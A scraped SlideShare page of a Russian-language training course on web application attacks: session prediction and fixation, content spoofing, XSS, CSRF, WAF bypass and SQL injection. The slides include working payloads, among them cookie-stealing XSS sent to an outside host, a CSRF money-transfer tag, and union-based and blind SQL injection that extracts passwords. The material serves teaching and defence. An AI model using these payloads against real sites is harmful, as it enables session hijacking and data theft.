Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Атаки на web-приложения. Основы

6,976 views

Published on

Published in: Technology
  • Be the first to comment

Атаки на web-приложения. Основы

  1. 1. Атаки на web-приложения Основы Лепихин ВладимирУчебный центр «Информзащита»
  2. 2. РазминкаАтаки на механизмы аутентификации Часть 1
  3. 3. Классификация
  4. 4. Компоненты web-приложенияКлиент Сервер СУБД Приложений Web-сервер
  5. 5. СтатистикаIBM X-Force 2011 Trend and Risk Report
  6. 6. Подбор Подбор
  7. 7. Варианты подбора• Подбор учётных данных• Подбор идентификатора сессии• Подбор названий директорий и файлов• Подбор критичных данных в полях ввода
  8. 8. Credential/session prediction Предсказание идентификационных данных сессии
  9. 9. Credential/session prediction• Предсказание или угадывание уникального идентификатора сессии пользователя с целью перехвата текущей сессии или последующей работы с web-сервером от имени скомпрометированного пользователя
  10. 10. Credential/session prediction• HTTP – Stateless протокол• Для каждого запрашиваемого объекта создается собственная сессия TCP• Аутентифицирована только текущая сессия• На практике многие приложения требуют аутентификации нескольких соединений
  11. 11. Credential/session predictionИдентификатор сессии сохраняется в полеcookie, скрытых полях форм или URL. Если атакующийимеет возможность определитьалгоритм, используемый для генерацииидентификатора сессии, он может :• подключиться к серверу, используя текущий идентификатор сессии;• вычислить или подобрать следующий идентификатор сессии;• присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.
  12. 12. Фиксация сессии Фиксация сессии
  13. 13. Фиксация сессииПрисвоение идентификатору сессиипользователя фиксированногозначения, известногозлоумышленнику, обычно выполняется в тристадии:• Установление сессии• Фиксация сессии• Подключение к сессии
  14. 14. Практическая работа 1Атаки на механизмы аутентификации:• Подбор• Перехват текущей сессии
  15. 15. Самое слабое звено Часть 2
  16. 16. Клиент – наименее защищённый компонентКлиент Сервер СУБД Приложений Web-сервер
  17. 17. Подмена содержимого Подмена содержимого
  18. 18. Подмена содержимого• Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.
  19. 19. Подмена содержимого• Некоторые Web-страницы создаются с использованием динамических источников HTML-кода.• Например, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL(http://foo.example/page?frame_src=http://foo.example/file.ht ml ).• Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". При отображении результирующей страницы в строке адреса браузера будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
  20. 20. Подмена содержимого• Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником.• Таким образом, произойдет «дефейс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.
  21. 21. Подмена содержимого• Text only content spoofing• Markup reflected content spoofing
  22. 22. Markup reflected content spoofing (пример)• Web-сервер динамически формирует фреймы на странице с пресс-релизами компании.• При переходе по ссылке http://foo.example/pr?pg=http://foo.example/pr/01012003.html загружается страница следующего содержания: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://foo.example/pr/01012003.html”> </FRAMESET> </HTML>
  23. 23. Markup reflected content spoofing (пример)• Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht ml и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html"> </FRAMESET> </HTML>• Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".
  24. 24. Межсайтовое выполнение сценариев Межсайтовое выполнение сценариев
  25. 25. Межсайтовое выполнение сценариев• Передача серверу HTML-кода, содержащего сценарии, которые впоследствии выполняются браузером клиента• Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера• Различают два варианта XSS: – Отражённый (non-persistent) – Сохранённый (persistent)
  26. 26. Отражённый вариант Web-серверhttp://web/?search="><script>alert(XSS)</script> ... <tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert(XSS)</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td> </tr> ...
  27. 27. Сохранённый вариант <script> alert(document.cookie) </script> <script> alert(document.cookie) </script>
  28. 28. Использование• Перехват сессии пользователя• Доступ к данным в контексте браузера• Перенаправление, подмена содержимого
  29. 29. Где встречается XSS?• HTML-тэг• Тело JavaScript/VBScript/etc (eq DOM- based)• Код HTML• Параметр тэга HTML• Java/Flash приложения• ActiveX•…
  30. 30. Пример обнаружения и использования • Возможный метод обнаружения уязвимости /?id="><script>alert(1)</script> – HTML-код возвращаемой страницы примет вид В параметре тега …<font size=""><script>alert(1)</script>"… В тексте …<p>"><script>alert(1)</script></p>… – В результате браузер выполнит JavaScript-код • Пример практического использования: "><script src=http://host/script.js></script>
  31. 31. Пример обнаружения и использования • Уязвимый HTML-код: … <IMG SRC="$filename"> … • Эксплуатация: /?filename="onerror=alert(XSS);" /?filename="onerror=javascript:alert(XSS);" … • HTML-код возвращаемой страницы примет вид: … <IMG SRC=""onerror=alert(XSS);""> … • Пример практического использования: /?filename="onerror="xss=new/**/Image().src=http://host/sniff?c=%2Bescape(docu ment.cookie);"
  32. 32. Пример использования (DOM-based)• Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...• Штатная работа сценария: /?default=Russia /?default=French …• Эксплуатация: /?default=<script>alert(document.cookie)</script>
  33. 33. Как это работает? Web-сервер 3. Переход по ссылке 6. Работа с Web-приложением от имени атакованного пользователя 1. fuzzing, поиск 4. Выполнение исполняемого уязвимости кода в браузере пользователя 5. Например, передача Web-сессии (cookies)2. Передача «заряженной» ссылки: http://web/?search="><script>...</script>
  34. 34. Подделка HTTP-запросов• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF) – сложности при автоматизированном обнаружении – Однако эта ошибка встречается в том или ином виде во многих веб-приложениях – Степень опасности уязвимости CSRF зависит от функций и задач, решаемых приложением• Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению• Часто применяется связка XSS + CSRF
  35. 35. Как это работает? Интернет-форум 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу: http://ibanking/action?...Интернет-банк (ibanking) 4. Если сессия пользователя существует, то… 1. Публикация сообщения: <img src=http://ibanking/action?account=12345&amount=500&for=54321>
  36. 36. Фильтры (WAF) Нас атакуют!http://server/?id=6329&print=Y Ахтунг!!! WAF Webserverhttp://server/?id=5351http://server/?id=8234 Нормализация данных Decode HTML entities (e.g. c, &quot;, ª) Escaped characters (e.g. t, 001, xAA, uAABB) Null byte string termination ... Поиск сигнатуры http://server/?id=1+union+select... /(sel)(ect.+fr)(om)/is http://server/?id="><script>... /(uni)(on.+sel)(ect)/is ... http://server/?id=/../../../etc/passwd
  37. 37. Методы обхода WAF• Фундаментальные ограничения технологии – Неспособность полностью защитить Web-приложение от всех возможных уязвимостей• Общие проблемы – балансировка между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика – Обработка возвращаемого клиенту трафика• Уязвимости реализации – Технологии нормализации запроса – Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
  38. 38. Методы обхода WAF• Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript) Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script> Эксплуатация: /?xss=500); alert(document.cookie);//• DOM-based XSS Пример: <script> ... eval($_GET[xss]); ... </script> Эксплуатация: /?xss=document.cookie• Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)
  39. 39. Возможные способы кодирования JavaScriptПример: <script>alert(1)</script>Hex-кодирование (URL-представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72% 69%70%74%3EHTML-кодирование <script>aler&#x74 ;(1)</script> &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#4 9&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62UTF7 +ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-… UTF8, base64, escape-encoding (style), etc
  40. 40. Практическая работа 2• Подмена содержимого• Межсайтовое выполнение сценариев• Расщепление запроса
  41. 41. Главная цель Часть 3
  42. 42. Доступ к даннымКлиент Сервер СУБД Приложений Web-сервер
  43. 43. Внедрение SQL-кода Внедрение SQL-кода
  44. 44. Внедрение SQL-кода• Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением, операторов языка SQL
  45. 45. Внедрение SQL-кода http://Server/inject.asp?id=1 select * from test where id=1 inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  46. 46. Внедрение SQL-кодаhttp://Server/inject.asp?id=1;delete from test select * from test where id=1; delete from test inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  47. 47. Ещё пример Web-сервер СУБДhttp://web/?id=6329&print=Y …. SELECT * from news where id = 6329 ….
  48. 48. Ещё пример Web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from... …. SELECT * from news where id = 6329 union select id,pwd,0 from… ….
  49. 49. Последствия внедрения SQL-кода• Обход ограничений пользовательского ввода• Получение доступа к данным• Модификация данных• Получение доступа к файловой системе
  50. 50. Разновидности внедрения SQL-кода• Обычное• Слепое – Blind – Double Blind
  51. 51. Обычное внедрение SQL-кода• Обнаружение уязвимости /?id=1+ORDER+BY+100 – SQL запрос примет вид SELECT id, name from table where id =1 ORDER BY 100 – В результате может быть получено следующее сообщение об ошибке ERROR 1054 (42S22): Unknown column 100 in order clause• Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц /?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns – SQL запрос примет вид SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns – В результате может быть получена требуемая информация в формате | 0 | table1:column1 | | 0 | table1:column2 |
  52. 52. SQL Injection – Различия СУБД MySQL MSSQL MS Access Oracle DB2 PostgreSQL concat concat(,) Объединение строк concat_ws(delim,) + " "&" " || " "+" " || || Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /* Объединение union union и ; union union union union и ; запросов Подзапросы v.4.1 >= Да Нет Да Да ДаХранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его v.5.0 >= Да Да Да Да Да аналогаОсобенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
  53. 53. SQL Injection – Различия СУБД• MySQL 4.1>= – Первая запись /?id=1 union select name,123 from users limit 0,1 – Вторая запись /?id=1 union select name,123 from users limit 1,1• MSSQL – Первая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=1 – Вторая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=2• PostgreSQL – Первая запись /?id=1 union select name, null from users limit 1 offset 0 – Вторая запись /?id=1 union select name, null from users limit 1 offset 1 ИЛИ – Первая запись /?id=1; select name, 123 from users limit 1 offset 0 – Вторая запись /?id=1; select name, 123 from users limit 1 offset 1
  54. 54. Blind SQL Injection• Главная сложность: отсутствует сообщение об ошибке• Эксплуатируя уязвимость SQL Injection «слепым» методом, атакующий манипулирует логикой работы приложения (true/false)
  55. 55. Способы обнаружения Blind SQL-инъекцийhttp://site/?param=-1 OR 1=1http://site/?param=-1 OR 1=1--...http://site/?param=-1http://site/?param=-1 AND 1=2...http://site/?param=-1 OR 1=1...http://site/?param=-1"/*...http://site/?param=2http://site/?param=1http://site/?param=2-1...http://site/?param=1 AND 1=1http://site/?param=1 AND 1=1…
  56. 56. Способы использования Blind SQL-инъекций• Подбор первого символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),1,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  57. 57. Способы использования Blind SQL-инъекций• Подбор второго символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),2,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),2,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  58. 58. Double Blind SQL Injection• Эксплуатация уязвимости Double Blind SQL Injection основана на временных задержках• Для повышения быстродействия можно ограничить набор подбираемых символов.• Классическая реализация: /?id=1+AND+if((ascii(lower(substring((select password from user limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now()))) – На основе временной задержки ответа от web-сервера можно сделать вывод, что подбираемый символ угадан – Манипулируя со значением 2000000, можно добиться приемлемой скорости под конкретное приложение – Аналог benchmark() - sleep(). Функция sleep() является более безопасной для подобных целей, т.к. не использует процессорные ресурсы сервера
  59. 59. Практическая работа 3• Внедрение SQL-кода

×